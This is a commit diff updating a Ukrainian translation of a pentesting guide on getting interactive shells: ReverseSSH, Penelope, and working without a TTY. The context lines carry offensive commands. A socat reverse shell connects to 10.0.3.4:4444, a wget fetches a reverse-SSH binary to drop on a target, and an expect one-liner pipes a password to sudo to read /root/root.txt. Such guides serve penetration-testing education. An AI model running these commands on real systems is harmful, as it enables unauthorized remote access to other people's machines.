Translated ['generic-methodologies-and-resources/reverse-shells/full-tty

This commit is contained in:
Translator 2024-10-28 17:16:15 +00:00
parent cfd0e203d8
commit 255711bd61

View file

@ -67,11 +67,11 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
## ReverseSSH
Зручний спосіб для **інтерактивного доступу до оболонки**, а також **передачі файлів** і **пересилання портів** - це розміщення статично зв'язаного ssh сервера [ReverseSSH](https://github.com/Fahrj/reverse-ssh) на цілі.
Зручний спосіб для **інтерактивного доступу до оболонки**, а також **передачі файлів** і **перенаправлення портів** - це розміщення статично зв'язаного ssh сервера [ReverseSSH](https://github.com/Fahrj/reverse-ssh) на цілі.
Нижче наведено приклад для `x86` з бінарними файлами, стиснутими за допомогою upx. Для інших бінарних файлів перевірте [сторінку релізів](https://github.com/Fahrj/reverse-ssh/releases/latest/).
1. Підготуйтеся локально, щоб перехопити запит на пересилання порту ssh:
1. Підготуйтеся локально, щоб перехопити запит на перенаправлення порту ssh:
{% code overflow="wrap" %}
```bash
@ -82,7 +82,7 @@ wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_revers
```
{% endcode %}
* (2a) Лінукс ціль:
* (2a) Ціль на Linux:
{% code overflow="wrap" %}
```bash
@ -114,13 +114,13 @@ sftp -P 8888 127.0.0.1
```
## Penelope
Penelope (https://github.com/brightio/penelope) автоматично оновлює Linux зворотні оболонки до TTY, обробляє розмір терміналу, веде журнали всього і багато іншого. Також вона надає підтримку readline для Windows оболонок.
[Penelope](https://github.com/brightio/penelope) автоматично оновлює Linux reverse shells до TTY, обробляє розмір терміналу, веде журнали всього і багато іншого. Також вона надає підтримку readline для Windows shells.
![penelope](https://github.com/user-attachments/assets/27ab4b3a-780c-4c07-a855-fd80a194c01e)
## No TTY
Якщо з якоїсь причини ви не можете отримати повний TTY, ви **все ще можете взаємодіяти з програмами**, які очікують введення користувача. У наступному прикладі пароль передається до `sudo` для читання файлу:
Якщо з якоїсь причини ви не можете отримати повний TTY, ви **все ще можете взаємодіяти з програмами**, які очікують введення користувача. У наступному прикладі пароль передається до `sudo`, щоб прочитати файл:
```bash
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
```